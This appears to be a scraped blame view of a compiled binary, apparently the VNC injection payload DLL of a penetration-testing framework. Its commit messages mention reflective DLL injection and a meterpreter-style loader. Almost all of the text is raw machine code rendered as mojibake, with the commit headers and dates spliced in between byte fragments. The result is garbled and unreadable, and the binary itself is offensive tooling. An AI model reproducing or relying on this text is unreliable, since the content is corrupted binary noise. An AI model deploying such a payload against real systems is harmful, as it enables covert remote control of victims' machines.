2005-12-12 07:07:19 +00:00
;ÃtPè>’ÿÿY…ÀtÿuüÿЉEüÿ5ˆ
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
è&’ÿÿY…Àtÿuÿu ÿuÿuüÿÐë3À_^[ÉËÿU‹ì‹ES3ÛVW;Ãt‹} ;ûw讞ÿÿj^‰0SSSSSè]LÿÿƒÄ‹Æë<‹u;óuˆëÚ‹Ð8tBOuø;ût
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
BF:ËtOuó;ûuˆègžÿÿj"Y‰‹ñëµ3À_^[]ËÿU‹ìSV‹u3ÛW9]u;óu9] u3À_^[]Ã;ót‹} ;ûwè%žÿÿj^‰0SSSSSèÔKÿÿƒÄ‹ÆëÕ9]uˆëÊ‹U;Óuˆëу}ÿ‹ÆuŠ
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
ˆ@B:ËtOuóëŠ
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
ˆ@B:ËtOtÿMuî9]uˆ;ûu‹ƒ}ÿu‹E jPˆ\ÿXéxÿÿÿˆè«�ÿÿj"Y‰‹ñë‚‹ÿU‹ì‹MV3ö;Î|ƒù~ ƒùu¡äë(¡ä‰
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
äëèp�ÿÿVVVVVÇèKÿÿƒÄƒÈÿ^]ËÿU‹ìƒìÿu �MðèÌmÿÿ‹Eðƒ¸¬~�EðPjÿuè<àÿÿƒÄ 닀ȋM·Hƒà€}üt‹MøƒapýÉËÿU‹ìƒ=Ðu‹E‹
ˆí·Aƒà]Ãjÿuè…ÿÿÿYY]ËÿU‹ìƒìÿu �MðèMmÿÿ‹Eðƒ¸¬~�EðPh€ÿuèºßÿÿƒÄ 닀ȋM·H%€€}üt‹MøƒapýÉËÿU‹ìƒ=Ðu‹E‹
ˆí·A%€]Ãjÿuè~ÿÿÿYY]ËÿU‹ìƒìÿu �MðèÇlÿÿ‹Eðƒ¸¬~�EðPjÿuè7ßÿÿƒÄ 닀ȋM·Hƒà€}üt‹MøƒapýÉËÿU‹ìƒ=Ðu‹E‹
ˆí·Aƒà]Ãjÿuè…ÿÿÿYY]ËÿU‹ìQQ‹E V‹u‰Eø‹EWV‰EüèowÿÿƒÏÿY;Çu訛ÿÿÇ ‹Ç‹×ëJÿu�MüQÿuøPÿ€P‰Eø;ÇuÿŒQ…Àt Pèš›ÿÿYëÏ‹ÆÁø‹…€ ƒæÁæ�D0€ ý‹Eø‹Uü_^ÉÃjhp¨èF–ÿÿƒÎÿ‰u܉uà‹Eƒøþuè?›ÿÿƒ è$›ÿÿÇ ‹Æ‹ÖéÐ3ÿ;Ç|;` r!è›ÿÿ‰8èûšÿÿÇ WWWWWè©HÿÿƒÄëÈ‹ÈÁù��€ ‹ðƒæÁæ‹ ¾L1ƒáu&èÔšÿÿ‰8躚ÿÿÇ WWWWWèhHÿÿƒÄƒÊÿ‹Âë[PèËvÿÿY‰}ü‹öD0tÿuÿuÿu ÿuè©þÿÿƒÄ‰E܉UàëèlšÿÿÇ ètšÿÿ‰8ƒMÜÿƒMàÿÇEüþÿÿÿè ‹EÜ‹Uà艕ÿÿÃÿuèwÿÿYËÿU‹ìÿÐhèišÿÿY‹M‰A…Àt
ƒI ÇAëƒI �A‰AÇA‹Aƒa‰]ËÿU‹ì‹EƒøþuèÚ™ÿÿÇ 3À]ÃV3ö;Æ|;` rè¼™ÿÿVVVVVÇ èjGÿÿƒÄ3Àë‹ÈƒàÁù‹ �€ Áà¾Dƒà@^]ËÿU‹ìƒìSV‹u 3ÛW‹};óu;ûv‹E;Ãt‰3À郋E;Ãtƒÿ�ÿÿÿÿvèF™ÿÿj^SSSSS‰0èõFÿÿƒÄ‹ÆëVÿu�Mðè­iÿÿ‹Eð9X…œf‹E¹ÿf;Áv6;ót;ûv WSVèKMÿÿƒÄ èó˜ÿÿÇ*èè˜ÿÿ‹8]üt‹Møƒapý_^[ÉÃ;ót2;ûw,èȘÿÿj"^SSSSS‰0èwFÿÿƒÄ8]ü„yÿÿÿ‹Eøƒ`pýémÿÿÿˆ‹E;ÃtÇ8]ü„%ÿÿÿ‹Eøƒ`pýéÿÿÿ�M QSWVj�MQS‰] ÿpÿÔP;Ãt9] …^ÿÿÿ‹M;Ët½‰ë¹ÿŒQƒøz…Dÿÿÿ;ó„gÿÿÿ;û†_ÿÿÿWSVètLÿÿƒÄ éOÿÿÿ‹ÿU‹ìjÿuÿuÿu ÿuè|þÿÿƒÄ]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌV‹D$ Àu(‹L$‹D$ 3Ò÷ñ‹Ø‹D$÷ñ‹ð‹Ã÷d$‹È‹Æ÷d$ÑëG‹È‹\$‹T$ ‹D$ÑéÑÛÑêÑØ Éuô÷ó‹ð÷d$‹È‹D$÷æÑr;T$ wr;D$v N+D$T$3Û+D$T$ ÷Ú÷؃ڋʋӋًȋÆ^‹ÿU‹ìV‹uW3ÿ;÷uèF—ÿÿWWWWWÇèôDÿÿƒÄé÷‹F ¨ƒ„ì¨@…ä¨t ƒÈ ‰F éՃȉF © u VèÄüÿÿYë‹F‰ÿvÿvVèáÿÿYPèbƒÄ ‰F;Ç„‰ƒøÿ„€öF ‚uOVèôàÿÿYƒøÿt.VèèàÿÿYƒøþt"VèÜàÿÿÁøV�<…€ èÌàÿÿƒàYÁàYë¸ÐíŠ@$‚<‚u�N �~u‹F ¨t©uÇF‹ÿNA‰ë÷ØÀƒàƒÀ F ‰~ƒÈÿ_^]ËÿU‹ìV‹u öF @WuyVèSàÿÿYºÐíƒøÿtƒøþt‹Èƒá‹øÁÿÁá ½€ ë‹ÊöA$u&ƒøÿtƒøþt‹ÈƒàÁùÁà�€ ë‹Âö@$€tèÁ•ÿÿ3ÿWWWWWÇèmCÿÿƒÄƒÈÿëJS‹]ƒûÿt=‹F ¨u„Ày2¨u.3ÿ9~uVèMûÿÿY‹;Fu9~u@‰ÿöF @‹t8t
@‰ƒÈÿ[_^]È‹F ÿFƒàïƒÈ‰F ‹Ã%ÿëá‹ÿU‹ìƒìSV‹u 3Û;ót9]t8u‹E;Ãt3Éf‰3À^[ÉÃÿu�MðèŽeÿÿ‹Eð9Xu‹E;Ãtff‰8]üt‹Eøƒ`pý3À@ëÊ�EðPPè™×ÿÿYY…Àt}‹Eð‹ˆ¬ƒù~%9M| 3Ò9]•ÂRÿuQVj ÿpÿÐP…À‹Eðu‹M;ˆ¬r 8^t‹€¬8]ü„eÿÿÿ‹MøƒapýéYÿÿÿèi”ÿÿÇ*8]üt‹Eøƒ`pýƒÈÿé:ÿÿÿ3À9]•ÀPÿu‹EðjVj ÿpÿÐP…À…:ÿÿÿ뺋ÿU‹ìjÿuÿu ÿuèÔþÿÿƒÄ]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌ‹D$‹L$ È‹L$ u ‹D$÷áÂS÷á‹Ø‹D$÷d$Ø‹D$÷áÓ[‹ÿU‹ìQQ¡Dá3ʼnEü¡œ
SV3ÛW‹ù;Ãu:�EøP3öFVhŒgVÿ¼Q…Àt‰5œ
ë4ÿŒQƒøxu
jX£œ
로
ƒø„Ï;Äǃø…è‰]ø9]u‹‹@‰E‹5ÐP3À9] SSÿu•Àÿu �ÅPÿuÿÖ‹ø;û„«~<�ÿðÿÿw4�D?=wè0‹Ä;ÃtÇÌÌëPèYAÿÿY;Ãt ÇÝ݃À‹Ø…Ûti�?PjSèGÿÿƒÄ WSÿuÿu jÿuÿÖ…ÀtÿuPSÿuÿ¼Q‰EøSè\Ñÿÿ‹EøYëu3ö9]u‹‹@‰E9]u‹‹@‰Eÿuè¥Yƒøÿu3ÀëG;EtSS�MQÿu PÿuèÍ‹ðƒÄ;ót܉u ÿuÿuÿu ÿuÿuÿ¸Q‹ø;ótVè^AÿÿY‹Ç�eì_^[‹Mü3Íè7ÿÿÉËÿU‹ìƒìÿu�Mðè‡bÿÿÿu$�Mðÿu ÿuÿuÿuÿuÿu èþÿÿƒÄ€}üt‹MøƒapýÉËÿU‹ìV‹u…ö„�ÿvèî@ÿÿÿvèæ@ÿÿÿv èÞ@ÿÿÿvèÖ@ÿÿÿvèÎ@ÿÿÿvèÆ@ÿÿÿ6è¿@ÿÿÿv è·@ÿÿÿv$è¯@ÿÿÿv(è§@ÿÿÿv,èŸ@ÿÿÿv0è—@ÿÿÿv4è�@ÿÿÿvè‡@ÿÿÿv8è@ÿÿÿv<èw@ÿÿƒÄ@ÿv@èl@ÿÿÿvDèd@ÿÿÿvHè\@ÿÿÿvLèT@ÿÿÿvPèL@ÿÿÿvTèD@ÿÿÿvXè<@ÿÿÿv\è4@ÿÿÿv`è,@ÿÿÿvdè$@ÿÿÿvhè@ÿÿÿvlè@ÿÿÿvpè @ÿÿÿvtè@ÿÿÿvxèü?ÿÿÿv|èô?ÿÿƒÄ@ÿ¶€èæ?ÿÿÿ¶„èÛ?ÿÿÿ¶ˆèÐ?ÿÿÿ¶ŒèÅ?ÿÿÿ¶�èº?ÿÿÿ¶”è¯?ÿÿÿ¶˜è¤?ÿÿÿ¶œè™?ÿÿÿ¶ èŽ?ÿÿÿ¶¤èƒ?ÿÿÿ¶¨èx?ÿÿƒÄ,^]ËÿU‹ìV‹u…öt5‹;èîtPèU?ÿÿY‹F;ìîtPèC?ÿÿY‹v;5ðîtVè1?ÿÿY^]ËÿU‹ìV‹u…öt~‹F ;ôîtPè?ÿÿY‹F;øîtPèý>ÿÿY‹F;üîtPèë>ÿÿY‹F;ïtPèÙ>ÿÿY‹F;ïtPèÇ>ÿÿY‹F ;ïtPèµ>ÿÿY‹v$;5 ïtVè£>ÿÿY^]ÃÌÌÌÌÌÌÌÌU‹ìV3ÀPPPPPPPP‹U �IŠ
Àt ƒÂ«$ëñ‹uƒÉÿ�IƒÁŠ
Àt ƒÆ£$sî‹ÁƒÄ ^ÉÃÌÌÌÌÌÌÌÌÌÌU‹ìV3ÀPPPPPPPP‹U �IŠ
Àt ƒÂ«$ëñ‹u‹ÿŠ
Àt ƒÆ£$sñ�FÿƒÄ ^ÉËÿU‹ìƒì ¡Dá3ʼnEüj�EôPhÿuÆEúÿ´Q…ÀuƒÈÿë
�EôPèæY‹Mü3Íèz3ÿÿÉËÿU‹ìƒì4¡Dá3ʼnEü‹E‹M‰EØ‹ES‰EЋV‰EÜ‹EW3ÿ‰M̉}à‰}Ô;E „_‹5èP�MèQPÿÖ‹ÐP…Àt^ƒ}èuX�EèPÿu ÿÖ…ÀtKƒ}èuE‹uÜÇEÔƒþÿu ÿuØè8ÿÿ‹ðYF;÷~[�þðÿÿwS�D6=w/è‹Ä;Çt8ÇÌÌë-WWÿuÜÿuØjÿuÿÓ‹ð;÷uÃ3ÀéÑPè<ÿÿY;Çt ÇÝ݃À‰Eäë‰}ä9}ätØ�6PWÿuäèØAÿÿƒÄ VÿuäÿuÜÿuØjÿuÿÓ…Àt‹]Ì;ßtWWÿuSVÿuäWÿu ÿÔP…Àt`‰]àë[‹ÔP9}ÔuWWWWVÿuäWÿu ÿÓ‹ð;÷t<Vjè³�ÿÿYY‰Eà;Çt+WWVPVÿuäWÿu ÿÓ;Çuÿuàè9<ÿÿY‰}àë ƒ}Üÿt‹MЉÿuäè¦ËÿÿY‹Eà�eÀ_^[‹Mü3ÍèÆ1ÿÿÉÃÌÌÌQ�L$+ȃáÁÉ ÁYéfÿÿQ�L$+ȃáÁÉ ÁYéfÿÿjè%`ÿÿYÃÌÌÌÌÌÌÌÌÌÌÌSW3ÿ‹D$ À}G‹T$ ÷Ø÷ڃ؉D$‰T$ ‹D$ À}‹T$÷Ø÷ڃ؉D$‰T$ Àu‹L$‹D$3Ò÷ñ‹D$ ÷ñ‹Â3ÒOyNëS‹Ø‹L$‹T$‹D$ ÑëÑÙÑêÑØ Ûuô÷ñ‹È÷d$‘÷d$Ñr;T$wr;D$ v+D$T$+D$ T$Oy÷Ú÷؃Ú_[‹ÿU‹ìƒì¡Dá3ʼnEüV3ö95PðtOƒ=\ñþuè4
¡\ñƒøÿu¸ÿÿëpV�MðQj�MQPÿÄQ…Àugƒ=PðuÚÿŒQƒøxuω5PðVVj�EôPj�EPVÿÀQPÿÔP‹
\ñƒùÿt¢V�UðRP�EôPQÿxP…Àt�f‹E‹Mü3Í^è0ÿÿÉÃÇPðëã‹ÿU‹ìƒìÿu�MðèŽ[ÿÿ¶E ‹MôŠU„Tuƒ}t‹Mð‹‰È·A#Eë3À…Àt3À@€}üt‹MøƒapýÉËÿU‹ìjjÿujèšÿÿÿƒÄ]ËÿU‹ìj
jÿuè4ƒÄ ]ËÿU‹ìƒìVWÿu�Mìè [ÿÿ‹E‹u 3ÿ;Çt‰0;÷u,èlŠÿÿWWWWWÇè8ÿÿƒÄ€}øt‹Eôƒ`pý3ÀéØ9}t ƒ}|Ƀ}$ËMìSŠ‰}ü�~ƒ¹¬~�EìP¶ÃjPè"Íÿÿ‹MìƒÄ 닑ȶ÷Bƒà…ÀtŠGëÇ€û-uƒMë€û+uŠG‹E…ÀŒKƒø„Bƒø$�9…Àu*€û0t ÇE
ë4Š<xt
<Xt ÇEë!ÇEë
ƒøu€û0uŠ<xt<XuGŠG‹±È¸ÿÿÿÿ3Ò÷u¶Ë· NöÁt¾Ëƒé0ë÷Át1ŠË€éa€ù¾Ëwƒé ƒÁÉ;MsƒM9Eür'u;Êv!ƒMƒ}u#‹EO¨u ƒ}t‹} ƒeüë[‹]ü¯]Ù‰]üŠG닾ÿÿÿ¨u¨u=ƒàt �}ü€w …Àu+9uüv&èˈÿÿöEÇ"tƒMüÿëöEjX•ÀƉEü‹E…Àt‰8öEt÷]ü€}øt‹Eôƒ`pý‹Eüë‹E…Àt‰0€}øt‹Eôƒ`pý3À[_^ÉËÿU‹ì3ÀPÿuÿu ÿu9Ðuh íëPè«ýÿÿƒÄ]ËÿU‹ìƒì‹UV‹ujþX‰Eì‰Uä;ðuè0ˆÿÿƒ èˆÿÿÇ ƒÈÿéˆS3Û;ó|;5` r'èˆÿÿ‰èì‡ÿÿSSSSSÇ èš5ÿÿƒÄƒÈÿéQ‹ÆÁøW�<…€ ‹ƒæÁæÆŠHöÁuèÀ‡ÿÿ‰覇ÿÿÇ ëj�úÿÿÿwP‰]ð;Ó„öÁ…ÿ9] t7Š@$ÀÐøˆEþ¾ÀHjYtHu‹Â÷Шtƒâþ‰U‹E ‰Eôé�‹Â÷Шu!èT‡ÿÿ‰è:‡ÿÿÇSSSSSèè4ÿÿƒÄë4‹ÂÑè‰M;Ár‰EÿuèX‡ÿÿY‰Eô;Ãuè‡ÿÿÇ è
‡ÿÿǃÈÿéhjSSÿuè
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
ëÿÿ‹‰D(‹EôƒÄ‰T,‹ÎöAHttŠI€ù
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
tl9]tgˆ‹@ÿMÇEðÆD
8]þtN‹ŠL%€ù
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
tC9]t>ˆ‹@ÿM€}þÇEðÆD%
u$‹ŠL&€ù
t9]tˆ‹@ÿMÇEðÆD&
vncinject payload
2005-12-12 07:07:19 +00:00
S�MèQÿuP‹ÿ4ÿÈQ…À„{‹Mè;ËŒp;M‡g‹Mð�Dö€„æ€}þ„;Ët
‹Mô€9
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
u€ë€ û‹]ô‹EðÉ]‰Eð;؃ЋMŠ<„®<
t ˆCA‰Mé�‹EðH;Ès�A€8
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
u
vncinject payload
2005-12-12 07:07:19 +00:00
AA‰MÆ
ëu‰EëmÿEj�EèPj�EÿP‹ÿ4ÿÈQ…Àu
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
ÿŒQ…ÀuEƒ}èt?‹öDHt€}ÿ
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
t¹Æ
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
‹ŠMÿˆLë%;]ôu€}ÿ
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
t jjÿjÿÿuèféÿÿƒÄ€}ÿ
tÆ
C‹Eð9E‚Gÿÿÿë‹�Dö@u€ëŠˆC‹Ã+Eô€}þ‰Eð…Ð…À„ÈKŠ „ÉxCé†3À@¶Éëƒø;]ôrK @€¹Xðt芶ʾ‰Xð…Éu
è­„ÿÿÇ*ëzA;ÈuØë@‹ÎöAHt$CƒøˆQ| Š‹ˆT%Cƒøu Š‹ˆT&C+Øë÷Ø™jRPÿuèŒèÿÿƒÄ‹Eä+]ôÑèPÿu SÿuôjhéýÿÐP‰Eð…Àu4ÿŒQPèR„ÿÿYƒMìÿ‹Eô;E tPèP3ÿÿY‹Eìƒøþ…‹‹Eð郋Eð‹3É;ÕÁÀ‰Eð‰L0ëÆ;Ët‹Môfƒ9
u€ë€ û‹]ô‹EðÉ]‰Eð;؃ÿ‹E·fƒù„×fƒù
tf‰ CC@@‰Eé´‹MðƒÁþ;Ás�Hfƒ9
u
ƒÀ‰Ej
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
鎉M鄃Ej�EèPj�EøP‹ÿ4ÿÈQ…Àu
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
ÿŒQ…Àu[ƒ}ètU‹öDHt(fƒ}ø
t²j
Xf‰‹ŠMøˆL‹ŠMùˆL%‹ÆD&
ë*;]ôufƒ}ø
t…jjÿjþÿuè(çÿÿƒÄfƒ}ø
tj
Reference in New Issue Copy Permalink